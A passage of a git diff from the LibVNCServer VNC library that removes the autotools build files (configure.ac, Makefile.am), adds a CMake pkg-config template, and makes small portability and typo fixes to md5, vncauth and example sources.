-gtkvncviewer_LDADD=$(LDADD) $(GTK_LIBS) -endif - - -noinst_PROGRAMS=ppmtest $(SDLVIEWER) $(GTKVIEWER) $(FFMPEG_CLIENT) backchannel - - - diff --git a/common/md5.c b/common/md5.c index c3e3fd7..13e47a8 100644 --- a/common/md5.c +++ b/common/md5.c @@ -27,12 +27,11 @@ # include <string.h> #include "md5.h" +#include "rfb/rfbconfig.h" -/* #ifdef _LIBC */ -# include <endian.h> -# if __BYTE_ORDER == __BIG_ENDIAN +#ifdef LIBVNCSERVER_WORDS_BIGENDIAN # define WORDS_BIGENDIAN 1 -# endif +#endif /* We need to keep the namespace clean so define the MD5 function protected using leading __ . */ # define md5_init_ctx __md5_init_ctx diff --git a/common/md5.h b/common/md5.h index b48545b..b0daab1 100644 --- a/common/md5.h +++ b/common/md5.h @@ -88,7 +88,11 @@ struct md5_ctx md5_uint32 total[2]; md5_uint32 buflen; - char buffer[128] __attribute__ ((__aligned__ (__alignof__ (md5_uint32)))); + char buffer[128] +#if __GNUC__ + __attribute__ ((__aligned__ (__alignof__ (md5_uint32)))) +#endif + ; }; /* @@ -98,21 +102,21 @@ struct md5_ctx /* Initialize structure containing state of computation. (RFC 1321, 3.3: Step 3) */ -extern void __md5_init_ctx (struct md5_ctx *ctx) __THROW; +extern void __md5_init_ctx (struct md5_ctx *ctx); /* Starting with the result of former calls of this function (or the initialization function update the context for the next LEN bytes starting at BUFFER. It is necessary that LEN is a multiple of 64!!! */ extern void __md5_process_block (const void *buffer, size_t len, - struct md5_ctx *ctx) __THROW; + struct md5_ctx *ctx); /* Starting with the result of former calls of this function (or the initialization function update the context for the next LEN bytes starting at BUFFER. It is NOT required that LEN is a multiple of 64. */ extern void __md5_process_bytes (const void *buffer, size_t len, - struct md5_ctx *ctx) __THROW; + struct md5_ctx *ctx); /* Process the remaining bytes in the buffer and put result from CTX in first 16 bytes following RESBUF. The result is always in little @@ -121,7 +125,7 @@ extern void __md5_process_bytes (const void *buffer, size_t len, IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ -extern void *__md5_finish_ctx (struct md5_ctx *ctx, void *resbuf) __THROW; +extern void *__md5_finish_ctx (struct md5_ctx *ctx, void *resbuf); /* Put result from CTX in first 16 bytes following RESBUF. The result is @@ -130,19 +134,19 @@ extern void *__md5_finish_ctx (struct md5_ctx *ctx, void *resbuf) __THROW; IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ -extern void *__md5_read_ctx (const struct md5_ctx *ctx, void *resbuf) __THROW; +extern void *__md5_read_ctx (const struct md5_ctx *ctx, void *resbuf); /* Compute MD5 message digest for bytes read from STREAM. The resulting message digest number will be written into the 16 bytes beginning at RESBLOCK. */ -extern int __md5_stream (FILE *stream, void *resblock) __THROW; +extern int __md5_stream (FILE *stream, void *resblock); /* Compute MD5 message digest for LEN bytes beginning at BUFFER. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. */ extern void *__md5_buffer (const char *buffer, size_t len, - void *resblock) __THROW; + void *resblock); #endif /* md5.h */ diff --git a/common/vncauth.c b/common/vncauth.c index 0b20f53..2a5d96f 100644 --- a/common/vncauth.c +++ b/common/vncauth.c @@ -31,7 +31,9 @@ #endif #include <stdio.h> #include <stdlib.h> +#ifdef LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #include <rfb/rfbproto.h> #include "d3des.h" diff --git a/common/zywrletemplate.c b/common/zywrletemplate.c index faa7f07..bce4e36 100644 --- a/common/zywrletemplate.c +++ b/common/zywrletemplate.c @@ -352,7 +352,7 @@ static InlineX void Harr(signed char* pX0, signed char* pX1) In this method, H/L and X0/X1 is always same position. This lead us to more speed and less memory. Of cause, the result of both method is quite same - because it's only difference that coefficient position. + because its only difference is that coefficient position. */ static InlineX void WaveletLevel(int* data, int size, int l, int SkipPixel) { diff --git a/configure.ac b/configure.ac deleted file mode 100644 index 9651809..0000000 --- a/configure.ac +++ /dev/null @@ -1,596 +0,0 @@ -# Process this file with autoconf to produce a configure script. -AC_INIT(LibVNCServer, 0.9.10, https://github.com/LibVNC/libvncserver) -AM_INIT_AUTOMAKE([subdir-objects]) -m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])]) -AM_CONFIG_HEADER(rfbconfig.h) -AX_PREFIX_CONFIG_H([rfb/rfbconfig.h]) -AC_CONFIG_MACRO_DIR([m4]) - - -# set detailed version info -AC_DEFINE(VERSION_MAJOR, 0, LibVNCServer major version) -AC_DEFINE(VERSION_MINOR, 9, LibVNCServer minor version) -AC_DEFINE(VERSION_PATCHLEVEL, 10, LibVNCServer patchlevel) - -# Checks for programs. -AC_PROG_CC -AM_PROG_CC_C_O -if test -z "$CC"; then - CCLD="\$(CC)" -else - CCLD="$CC" -fi -test "x$GCC" = "xyes" && CFLAGS="$CFLAGS -Wall" -AC_PROG_MAKE_SET -AC_LIBTOOL_WIN32_DLL -AC_PROG_LIBTOOL -AC_CHECK_TOOL([AR], [ar], [/usr/bin/ar], - [$PATH:/usr/ccs/bin]) - -# Options -AH_TEMPLATE(WITH_TIGHTVNC_FILETRANSFER, [Disable TightVNCFileTransfer protocol]) -AC_ARG_WITH(tightvnc-filetransfer, - [ --without-tightvnc-filetransfer disable TightVNC file transfer protocol], - , [ with_tightvnc_filetransfer=yes ]) -# AC_DEFINE moved to after libpthread check. - -# WebSockets support -AC_CHECK_FUNC(__b64_ntop, HAVE_B64_IN_LIBC="true", HAVE_B64_IN_LIBC="false") -if test "x$HAVE_B64_IN_LIBC" != "xtrue"; then - AC_CHECK_LIB(resolv, __b64_ntop, HAVE_B64_IN_LIBRESOLV="true", HAVE_B64_IN_LIBRESOLV="false") - if test "x$HAVE_B64_IN_LIBRESOLV" = "xtrue"; then - RESOLV_LIB="-lresolv" - HAVE_B64="true" - fi -else - HAVE_B64="true" -fi -AH_TEMPLATE(WITH_WEBSOCKETS, [Disable WebSockets support]) -AC_ARG_WITH(websockets, - [ --without-websockets disable WebSockets support], - , [ with_websockets=yes ]) -# AC_DEFINE moved to after libresolve check. - -AH_TEMPLATE(ALLOW24BPP, [Enable 24 bit per pixel in native framebuffer]) -AC_ARG_WITH(24bpp, - [ --without-24bpp disable 24 bpp framebuffers], - , [ with_24bpp=yes ]) -if test "x$with_24bpp" = "xyes"; then - AC_DEFINE(ALLOW24BPP) -fi -AH_TEMPLATE(FFMPEG, [Use ffmpeg (for vnc2mpg)]) -AC_ARG_WITH(ffmpeg, - [ --with-ffmpeg=dir set ffmpeg home directory],,) -AC_SUBST(with_ffmpeg) -AM_CONDITIONAL(WITH_FFMPEG, test ! -z "$with_ffmpeg") -if test ! -z "$with_ffmpeg"; then - AC_CHECK_LIB(mp3lame, lame_init, HAVE_MP3LAME="true", HAVE_MP3LAME="false" ) -fi -AM_CONDITIONAL(HAVE_MP3LAME, test "$HAVE_MP3LAME" = "true") - -# Seem to need this dummy here to induce the 'checking for egrep... grep -E', etc. -# before it seemed to be inside the with_jpeg conditional. -AC_CHECK_HEADER(thenonexistentheader.h, HAVE_THENONEXISTENTHEADER_H="true") - -# set some ld -R nonsense -# -uname_s=`(uname -s) 2>/dev/null` -ld_minus_R="yes" -if test "x$uname_s" = "xHP-UX"; then - ld_minus_R="no" -elif test "x$uname_s" = "xOSF1"; then - ld_minus_R="no" -elif test "x$uname_s" = "xDarwin"; then - ld_minus_R="no" -fi - -# Check for OpenSSL -AH_TEMPLATE(HAVE_LIBCRYPT, [libcrypt library present]) -AC_ARG_WITH(crypt, -[ --without-crypt disable support for libcrypt],,) -if test "x$with_crypt" != "xno"; then - AC_CHECK_FUNCS([crypt], HAVE_LIBC_CRYPT="true") - if test -z "$HAVE_LIBC_CRYPT"; then - AC_CHECK_LIB(crypt, crypt, - CRYPT_LIBS="-lcrypt" - [AC_DEFINE(HAVE_LIBCRYPT)], ,) - fi -fi -AC_SUBST(CRYPT_LIBS) - -# some OS's need both -lssl and -lcrypto on link line: -AH_TEMPLATE(HAVE_LIBCRYPTO, [openssl libcrypto library present]) -AC_ARG_WITH(crypto, -[ --without-crypto disable support for openssl libcrypto],,) - -AH_TEMPLATE(HAVE_LIBSSL, [openssl libssl library present]) -AC_ARG_WITH(ssl, -[ --without-ssl disable support for openssl libssl] -[ --with-ssl=DIR use openssl include/library files in DIR],,) - -if test "x$with_crypto" != "xno" -a "x$with_ssl" != "xno"; then - if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then - saved_CPPFLAGS="$CPPFLAGS" - saved_LDFLAGS="$LDFLAGS" - CPPFLAGS="$CPPFLAGS -I$with_ssl/include" - LDFLAGS="$LDFLAGS -L$with_ssl/lib" - if test "x$ld_minus_R" = "xno"; then - : - elif test "x$GCC" = "xyes"; then - LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib" - else - LDFLAGS="$LDFLAGS -R$with_ssl/lib" - fi - fi - AC_CHECK_LIB(crypto, RAND_file_name, - [AC_DEFINE(HAVE_LIBCRYPTO) HAVE_LIBCRYPTO="true"], ,) - if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then - if test "x$HAVE_LIBCRYPTO" != "xtrue"; then - CPPFLAGS="$saved_CPPFLAGS" - LDFLAGS="$saved_LDFLAGS" - fi - fi -fi - -AH_TEMPLATE(HAVE_X509_PRINT_EX_FP, [open ssl X509_print_ex_fp available]) -if test "x$with_ssl" != "xno"; then - if test "x$HAVE_LIBCRYPTO" = "xtrue"; then - AC_CHECK_LIB(ssl, SSL_library_init, - SSL_LIBS="-lssl -lcrypto" - [AC_DEFINE(HAVE_LIBSSL) HAVE_LIBSSL="true"], , - -lcrypto) - else - AC_CHECK_LIB(ssl, SSL_library_init, - SSL_LIBS="-lssl" - [AC_DEFINE(HAVE_LIBSSL) HAVE_LIBSSL="true"], ,) - fi -fi -AC_SUBST(SSL_LIBS) -AM_CONDITIONAL(HAVE_LIBSSL, test ! -z "$SSL_LIBS") - - - - -AC_ARG_WITH(jpeg, -[ --without-jpeg disable support for jpeg] -[ --with-jpeg=DIR use jpeg include/library files in DIR],,) - -# At this point: -# no jpeg on command line with_jpeg="" -# -with-jpeg with_jpeg="yes" -# -without-jpeg with_jpeg="no" -# -with-jpeg=/foo/dir with_jpeg="/foo/dir" - -HAVE_LIBJPEG_TURBO="false" - -if test "x$with_jpeg" != "xno"; then - AC_ARG_VAR(JPEG_LDFLAGS, - [Linker flags to use when linking with libjpeg, e.g. -L/foo/dir/lib -Wl,-static -ljpeg -Wl,-shared. This overrides the linker flags set by --with-jpeg.]) - saved_CPPFLAGS="$CPPFLAGS" - saved_LDFLAGS="$LDFLAGS" - saved_LIBS="$LIBS" - if test ! -z "$with_jpeg" -a "x$with_jpeg" != "xyes"; then - # add user supplied directory to flags: - CPPFLAGS="$CPPFLAGS -I$with_jpeg/include" - LDFLAGS="$LDFLAGS -L$with_jpeg/lib" - if test "x$ld_minus_R" = "xno"; then - : - elif test "x$GCC" = "xyes"; then - # this is not complete... in general a rat's nest. - LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib" - else - LDFLAGS="$LDFLAGS -R$with_jpeg/lib" - fi - fi - if test "x$JPEG_LDFLAGS" != "x"; then - LDFLAGS="$saved_LDFLAGS" - LIBS="$LIBS $JPEG_LDFLAGS" - else - LIBS="-ljpeg" - fi - AC_CHECK_HEADER(jpeglib.h, HAVE_JPEGLIB_H="true") - AC_MSG_CHECKING(for jpeg_CreateCompress in libjpeg) - if test "x$HAVE_JPEGLIB_H" = "xtrue"; then - AC_LINK_IFELSE([AC_LANG_CALL([], [jpeg_CreateCompress])], - [AC_MSG_RESULT(yes); - AC_DEFINE(HAVE_LIBJPEG, 1, libjpeg support enabled)], - [AC_MSG_RESULT(no); HAVE_JPEGLIB_H=""]) - fi - if test "x$HAVE_JPEGLIB_H" != "xtrue"; then - # restore old flags on failure: - CPPFLAGS="$saved_CPPFLAGS" - LDFLAGS="$saved_LDFLAGS" - LIBS="$saved_LIBS" - AC_MSG_WARN([ -========================================================================== -*** The libjpeg compression library was not found. *** -This may lead to reduced performance, especially over slow links. -If libjpeg is in a non-standard location use --with-jpeg=DIR to -indicate the header file is in DIR/include/jpeglib.h and the library -in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to -specify more detailed linker flags. A copy of libjpeg-turbo may be -obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/ -A copy of libjpeg may be obtained from: http://ijg.org/files/ -========================================================================== -]) - sleep 5 - fi - - if test "x$HAVE_JPEGLIB_H" = "xtrue"; then - AC_MSG_CHECKING(whether JPEG library is libjpeg-turbo) - m4_define([LJT_TEST], - [AC_LANG_PROGRAM([#include <stdio.h> - #include <jpeglib.h>], - [struct jpeg_compress_struct cinfo; - struct jpeg_error_mgr jerr; - cinfo.err=jpeg_std_error(&jerr); - jpeg_create_compress(&cinfo); - cinfo.input_components = 3; - jpeg_set_defaults(&cinfo); - cinfo.in_color_space = JCS_EXT_RGB; - jpeg_default_colorspace(&cinfo); - return 0;])] - ) - if test "x$cross_compiling" != "xyes"; then - AC_RUN_IFELSE([LJT_TEST], - [HAVE_LIBJPEG_TURBO="true"; AC_MSG_RESULT(yes)], - [AC_MSG_RESULT(no)]) - else - AC_LINK_IFELSE([LJT_TEST], - [HAVE_LIBJPEG_TURBO="true"; AC_MSG_RESULT(yes)], - [AC_MSG_RESULT(no)]) - fi - fi - - if test "x$HAVE_JPEGLIB_H" = "xtrue" -a "x$HAVE_LIBJPEG_TURBO" != "xtrue"; then - AC_MSG_WARN([ -========================================================================== -*** The libjpeg library you are building against is not libjpeg-turbo. -Performance will be reduced. You can obtain libjpeg-turbo from: -https://sourceforge.net/projects/libjpeg-turbo/files/ *** -========================================================================== -]) - fi - -fi - -AC_ARG_WITH(png, -[ --without-png disable support for png] -[ --with-png=DIR use png include/library files in DIR],,) - -# At this point: -# no png on command line with_png="" -# -with-png with_png="yes" -# -without-png with_png="no" -# -with-png=/foo/dir with_png="/foo/dir" - -if test "x$with_png" != "xno"; then - if test ! -z "$with_png" -a "x$with_png" != "xyes"; then - # add user supplied directory to flags: - saved_CPPFLAGS="$CPPFLAGS" - saved_LDFLAGS="$LDFLAGS" - CPPFLAGS="$CPPFLAGS -I$with_png/include" - LDFLAGS="$LDFLAGS -L$with_png/lib" - if test "x$ld_minus_R" = "xno"; then - : - elif test "x$GCC" = "xyes"; then - # this is not complete... in general a rat's nest. - LDFLAGS="$LDFLAGS -Xlinker -R$with_png/lib" - else - LDFLAGS="$LDFLAGS -R$with_png/lib" - fi - fi - AC_CHECK_HEADER(png.h, HAVE_PNGLIB_H="true") - if test "x$HAVE_PNGLIB_H" = "xtrue"; then - AC_CHECK_LIB(png, png_create_write_struct, , HAVE_PNGLIB_H="") - fi - if test ! -z "$with_png" -a "x$with_png" != "xyes"; then - if test "x$HAVE_PNGLIB_H" != "xtrue"; then - # restore old flags on failure: - CPPFLAGS="$saved_CPPFLAGS" - LDFLAGS="$saved_LDFLAGS" - fi - fi - if test "x$HAVE_PNGLIB_H" != "xtrue"; then - AC_MSG_WARN([ -========================================================================== -*** The libpng compression library was not found. *** -This may lead to reduced performance, especially over slow links. -If libpng is in a non-standard location use --with-png=DIR to -indicate the header file is in DIR/include/png.h and the library -in DIR/lib/libpng.a. A copy of libpng may be obtained from: -http://www.libpng.org/pub/png/libpng.html -========================================================================== -]) - sleep 5 - fi -fi - -AC_ARG_WITH(libz, -[ --without-libz disable support for deflate],,) -AC_ARG_WITH(zlib, -[ --without-zlib disable support for deflate] -[ --with-zlib=DIR use zlib include/library files in DIR],,) - -if test "x$with_zlib" != "xno" -a "x$with_libz" != "xno"; then - if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then - saved_CPPFLAGS="$CPPFLAGS" - saved_LDFLAGS="$LDFLAGS" - CPPFLAGS="$CPPFLAGS -I$with_zlib/include" - LDFLAGS="$LDFLAGS -L$with_zlib/lib" - if test "x$ld_minus_R" = "xno"; then - : - elif test "x$GCC" = "xyes"; then - LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib" - else - LDFLAGS="$LDFLAGS -R$with_zlib/lib" - fi - fi - AC_CHECK_HEADER(zlib.h, HAVE_ZLIB_H="true") - if test "x$HAVE_ZLIB_H" = "xtrue"; then - AC_CHECK_LIB(z, deflate, , HAVE_ZLIB_H="") - fi - if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then - if test "x$HAVE_ZLIB_H" != "xtrue"; then - CPPFLAGS="$saved_CPPFLAGS" - LDFLAGS="$saved_LDFLAGS" - fi - fi - if test "x$HAVE_ZLIB_H" != "xtrue"; then - AC_MSG_WARN([ -========================================================================== -*** The libz compression library was not found. *** -This may lead to reduced performance, especially over slow links. -If libz is in a non-standard location use --with-zlib=DIR to indicate the -header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a. -A copy of libz may be obtained from: http://www.gzip.org/zlib/ -========================================================================== -]) - sleep 5 - fi -fi - -AC_ARG_WITH(pthread, -[ --without-pthread disable support for libpthread],,) - -if test "x$with_pthread" != "xno"; then - AC_CHECK_HEADER(pthread.h, HAVE_PTHREAD_H="true") - if test ! -z "$HAVE_PTHREAD_H"; then - AC_CHECK_LIB(pthread, pthread_mutex_lock) - AC_CHECK_LIB(pthread, pthread_mutex_lock, HAVE_LIBPTHREAD="true") - fi -fi -AM_CONDITIONAL(HAVE_LIBPTHREAD, test ! -z "$HAVE_LIBPTHREAD") - -AC_MSG_CHECKING([for __thread]) -AC_LINK_IFELSE([AC_LANG_PROGRAM(, [static __thread int p = 0])], - [AC_DEFINE(HAVE_TLS, 1, - Define to 1 if compiler supports __thread) - AC_MSG_RESULT([yes])], - [AC_MSG_RESULT([no])]) - -# tightvnc-filetransfer implemented using threads: -if test -z "$HAVE_LIBPTHREAD"; then - with_tightvnc_filetransfer="" -fi -if test "x$with_tightvnc_filetransfer" = "xyes"; then - AC_DEFINE(WITH_TIGHTVNC_FILETRANSFER) -fi -AM_CONDITIONAL(WITH_TIGHTVNC_FILETRANSFER, test "$with_tightvnc_filetransfer" = "yes") - -# websockets implemented using base64 from resolve -if test "x$HAVE_B64" != "xtrue"; then - with_websockets="" -fi -if test "x$with_websockets" = "xyes"; then - LIBS="$LIBS $RESOLV_LIB $SSL_LIBS" - AC_DEFINE(WITH_WEBSOCKETS) -fi -AM_CONDITIONAL(WITH_WEBSOCKETS, test "$with_websockets" = "yes") - -AM_CONDITIONAL(HAVE_LIBZ, test ! -z "$HAVE_ZLIB_H") -AM_CONDITIONAL(HAVE_LIBJPEG, test ! -z "$HAVE_JPEGLIB_H") -AM_CONDITIONAL(HAVE_LIBPNG, test ! -z "$HAVE_PNGLIB_H") - - -SDLCONFIG="sdl-config" -AC_ARG_WITH(sdl-config, -[[ --with-sdl-config=FILE - Use the given path to sdl-config when determining - SDL configuration; defaults to "sdl-config"]], -[ - if test "$withval" != "yes" -a "$withval" != ""; then - SDLCONFIG=$withval - fi -]) - -if test -z "$with_sdl"; then - if $SDLCONFIG --version >/dev/null 2>&1; then - with_sdl=yes - SDL_CFLAGS=`$SDLCONFIG --cflags` - SDL_LIBS=`$SDLCONFIG --libs` - else - with_sdl=no - fi -fi -AM_CONDITIONAL(HAVE_LIBSDL, test "x$with_sdl" = "xyes") -AC_SUBST(SDL_CFLAGS) -AC_SUBST(SDL_LIBS) - - -# Check for GTK+. if present, build the GTK+ vnc viewer example -PKG_CHECK_MODULES([GTK], [gtk+-2.0],,:) -AM_CONDITIONAL(HAVE_LIBGTK, test ! -z "$GTK_LIBS") - -AC_CANONICAL_HOST -MINGW=`echo $host_os | grep mingw32 2>/dev/null` -AM_CONDITIONAL(MINGW, test ! -z "$MINGW" ) -if test ! -z "$MINGW"; then - WSOCKLIB="-lws2_32" -fi -AC_SUBST(WSOCKLIB) - -# Check for libgcrypt -AH_TEMPLATE(WITH_CLIENT_GCRYPT, [Enable support for libgcrypt in libvncclient]) -AC_ARG_WITH(gcrypt, -[ --without-gcrypt disable support for gcrypt],,) -AC_ARG_WITH(client-gcrypt, -[ --without-client-gcrypt disable support for gcrypt in libvncclient],,) - -if test "x$with_gcrypt" != "xno"; then - AM_PATH_LIBGCRYPT(1.4.0, , with_client_gcrypt=no) - CFLAGS="$CFLAGS $LIBGCRYPT_CFLAGS" - LIBS="$LIBS $LIBGCRYPT_LIBS" - if test "x$with_client_gcrypt" != "xno"; then - AC_DEFINE(WITH_CLIENT_GCRYPT) - fi -fi - -# Checks for GnuTLS -AH_TEMPLATE(HAVE_GNUTLS, [GnuTLS library present]) -AC_ARG_WITH(gnutls, -[ --without-gnutls disable support for gnutls] -[ --with-gnutls=DIR use gnutls include/library files in DIR],,) - -if test "x$with_gnutls" != "xno"; then - PKG_CHECK_MODULES(GNUTLS, gnutls >= 2.4.0,,:) - CFLAGS="$CFLAGS $GNUTLS_CFLAGS" - LIBS="$LIBS $GNUTLS_LIBS" -fi -AM_CONDITIONAL(HAVE_GNUTLS, test ! -z "$GNUTLS_LIBS") -if test ! -z "$GNUTLS_LIBS" ; then - AC_DEFINE(HAVE_GNUTLS) -fi - - -# warn if neither GnuTLS nor OpenSSL are available -if test -z "$SSL_LIBS" -a -z "$GNUTLS_LIBS"; then - AC_MSG_WARN([ -========================================================================== -*** No encryption library could be found. *** -A libvncserver/libvncclient built this way will not support SSL encryption. -To enable SSL install the necessary development packages (perhaps it is named -something like libssl-dev or gnutls-dev) and run configure again. -========================================================================== -]) - sleep 5 -fi - - -# IPv6 -AH_TEMPLATE(IPv6, [Enable IPv6 support]) -AC_ARG_WITH(ipv6, -[ --without-ipv6 disable IPv6 support],,) -if test "x$with_ipv6" != "xno"; then - AC_CHECK_FUNC(getaddrinfo, AC_DEFINE(IPv6,1), - AC_CHECK_LIB(socket, getaddrinfo, AC_DEFINE(IPv6,1), [ - AC_MSG_CHECKING([for getaddrinfo in -lws2_32]) - LIBS="$LIBS -lws2_32" - AC_TRY_LINK([#include <ws2tcpip.h>], [getaddrinfo(0, 0, 0, 0);], [ - AC_DEFINE(IPv6,1) - AC_MSG_RESULT([yes]) - ], - AC_MSG_RESULT([no])) - ])) -fi - - - -# Checks for header files. -AC_HEADER_STDC -AC_CHECK_HEADERS([arpa/inet.h endian.h fcntl.h netdb.h netinet/in.h stdlib.h stdint.h string.h sys/endian.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h]) - -# Checks for typedefs, structures, and compiler characteristics. -AC_C_CONST -AC_C_INLINE -AC_TYPE_SIZE_T -AC_HEADER_TIME -AC_HEADER_SYS_WAIT -AX_TYPE_SOCKLEN_T -AC_CACHE_CHECK([for in_addr_t], - vnc_cv_inaddrt, [ - AC_TRY_COMPILE([#include <sys/types.h> -#include <netinet/in.h>], - [in_addr_t foo; return 0;], - [inaddrt=yes], - [inaddrt=no]), - ]) -AH_TEMPLATE(NEED_INADDR_T, [Need a typedef for in_addr_t]) -if test $inaddrt = no ; then - AC_DEFINE(NEED_INADDR_T) -fi -# Checks for library functions. -AC_FUNC_MEMCMP -AC_FUNC_STAT -AC_FUNC_STRFTIME -AC_FUNC_VPRINTF -AC_FUNC_FORK -AC_CHECK_LIB(nsl,gethostbyname) -AC_CHECK_LIB(socket,socket) - -uname_s=`(uname -s) 2>/dev/null` -if test "x$uname_s" = "xHP-UX"; then - # need -lsec for getspnam() - LDFLAGS="$LDFLAGS -lsec" -fi - -AC_CHECK_FUNCS([ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr]) - -# check, if shmget is in cygipc.a -AC_CHECK_LIB(cygipc,shmget) -AM_CONDITIONAL(CYGIPC, test "$HAVE_CYGIPC" = "true") - -# Check if /usr/include/linux exists, if so, define LINUX -AM_CONDITIONAL(LINUX, test -d /usr/include/linux) - -# Check for OS X specific header -AC_CHECK_HEADER(ApplicationServices/ApplicationServices.h, HAVE_OSX="true") -AM_CONDITIONAL(OSX, test "$HAVE_OSX" = "true") - -# Check for Android specific header -AC_CHECK_HEADER(android/api-level.h, HAVE_ANDROID="true") -AM_CONDITIONAL(ANDROID, test "$HAVE_ANDROID" = "true") -if test "$HAVE_ANDROID" = "true"; then - AC_DEFINE(HAVE_ANDROID, 1, [Android host system detected]) -fi - -# On Solaris 2.7, write() returns ENOENT when it really means EAGAIN -AH_TEMPLATE(ENOENT_WORKAROUND, [work around when write() returns ENOENT but does not mean it]) -case `(uname -sr) 2>/dev/null` in - "SunOS 5.7") - AC_DEFINE(ENOENT_WORKAROUND) - ;; -esac - -# Check for rpm SOURCES path -printf "checking for rpm sources path... " -RPMSOURCEDIR="NOT-FOUND" -for directory in packages OpenLinux redhat RedHat rpm RPM "" ; do - if test -d /usr/src/${directory}/SOURCES; then - RPMSOURCEDIR="/usr/src/${directory}/SOURCES/" - fi -done -echo "$RPMSOURCEDIR" -AM_CONDITIONAL(HAVE_RPM, test "$RPMSOURCEDIR" != "NOT-FOUND") -AC_SUBST(RPMSOURCEDIR) - -AC_CONFIG_FILES([Makefile - libvncserver.pc - libvncclient.pc - libvncserver/Makefile - examples/Makefile - examples/android/Makefile - webclients/Makefile - webclients/java-applet/Makefile - webclients/java-applet/ssl/Makefile - libvncclient/Makefile - client_examples/Makefile - test/Makefile - libvncserver-config - LibVNCServer.spec]) - - -AC_CONFIG_COMMANDS([chmod-libvncserver-config],[chmod a+x libvncserver-config]) -AC_OUTPUT -chmod a+x ./libvncserver-config - diff --git a/examples/Makefile.am b/examples/Makefile.am deleted file mode 100644 index 829f735..0000000 --- a/examples/Makefile.am +++ /dev/null @@ -1,27 +0,0 @@ -AM_CPPFLAGS = -I$(top_srcdir) -LDADD = ../libvncserver/libvncserver.la @WSOCKLIB@ - -if OSX -MAC=mac -mac_LDFLAGS=-framework ApplicationServices -framework Carbon -framework IOKit -endif - -if ANDROID -SUBDIRS=android -endif - -if WITH_TIGHTVNC_FILETRANSFER -FILETRANSFER=filetransfer -endif - -if HAVE_LIBPTHREAD -BLOOPTEST=blooptest -endif - -noinst_HEADERS=radon.h rotatetemplate.c - -noinst_PROGRAMS=example pnmshow regiontest pnmshow24 fontsel \ - vncev storepasswd colourmaptest simple simple15 $(MAC) \ - $(FILETRANSFER) backchannel $(BLOOPTEST) camera rotate \ - zippy repeater - diff --git a/examples/android/Makefile.am b/examples/android/Makefile.am deleted file mode 100644 index 9cb5c02..0000000 --- a/examples/android/Makefile.am +++ /dev/null @@ -1,7 +0,0 @@ -AM_CPPFLAGS = -I$(top_srcdir) -LDADD = $(top_srcdir)/libvncserver/libvncserver.la @WSOCKLIB@ - -noinst_PROGRAMS=androidvncserver -androidvncserver_SOURCES=jni/fbvncserver.c - -EXTRA_DIST=jni/Android.mk diff --git a/examples/example.c b/examples/example.c index 617e7ad..406378e 100644 --- a/examples/example.c +++ b/examples/example.c @@ -56,7 +56,7 @@ static void initBuffer(unsigned char* buffer) } } -/* Here we create a structure so that every client has it's own pointer */ +/* Here we create a structure so that every client has its own pointer */ typedef struct ClientData { rfbBool oldButton; diff --git a/examples/vncev.c b/examples/vncev.c index b185746..4051d2b 100644 --- a/examples/vncev.c +++ b/examples/vncev.c @@ -5,10 +5,11 @@ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif +#include <rfb/rfbconfig.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> -#ifndef __MINGW32__ +#if LIBVNCSERVER_HAVE_SYS_SOCKET_H #include <sys/socket.h> #endif #include <rfb/rfb.h> diff --git a/examples/zippy.c b/examples/zippy.c index 5a5961a..be06a28 100644 --- a/examples/zippy.c +++ b/examples/zippy.c @@ -7,7 +7,7 @@ static int maxx=400, maxy=400, bpp=4; /* odd maxx doesn't work (vncviewer bug) */ -/* Here we create a structure so that every client has it's own pointer */ +/* Here we create a structure so that every client has its own pointer */ /* turns the framebuffer black */ void blank_framebuffer(char* frame_buffer, int x1, int y1, int x2, int y2); diff --git a/libvncclient.pc.cmakein b/libvncclient.pc.cmakein new file mode 100644 index 0000000..169a8b7 --- /dev/null +++ b/libvncclient.pc.cmakein @@ -0,0 +1,14 @@ +prefix=@CMAKE_INSTALL_PREFIX@ +exec_prefix=@CMAKE_INSTALL_PREFIX@ +libdir=@CMAKE_INSTALL_PREFIX@/lib +includedir=@CMAKE_INSTALL_PREFIX@/include + +Name: LibVNCClient +Description: A library for easy implementation of a VNC client. +Version: @PACKAGE_VERSION@ +Requires: +Requires.private: zlib +Libs: -L${libdir} -lvncclient +Libs.private: @PRIVATE_LIBS@ +Cflags: -I${includedir} + diff --git a/libvncclient.pc.in b/libvncclient.pc.in deleted file mode 100644 index 37495e7..0000000 --- a/libvncclient.pc.in +++ /dev/null @@ -1,14 +0,0 @@ -prefix=@prefix@ -exec_prefix=@exec_prefix@ -libdir=@libdir@ -includedir=@includedir@ - -Name: LibVNCClient -Description: A library for easy implementation of a VNC client. -Version: @VERSION@ -Requires: -Requires.private: zlib -Libs: -L${libdir} -lvncclient -Libs.private: @LIBS@ @WSOCKLIB@ -Cflags: -I${includedir} - diff --git a/libvncclient/Makefile.am b/libvncclient/Makefile.am deleted file mode 100644 index bc2420b..0000000 --- a/libvncclient/Makefile.am +++ /dev/null @@ -1,29 +0,0 @@ -AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/common - -if HAVE_GNUTLS -TLSSRCS = tls_gnutls.c -TLSLIBS = @GNUTLS_LIBS@ -else -if HAVE_LIBSSL -TLSSRCS = tls_openssl.c -TLSLIBS = @SSL_LIBS@ @CRYPT_LIBS@ -else -TLSSRCS = tls_none.c -endif -endif - - -libvncclient_la_SOURCES=cursor.c listen.c rfbproto.c sockets.c vncviewer.c ../common/minilzo.c 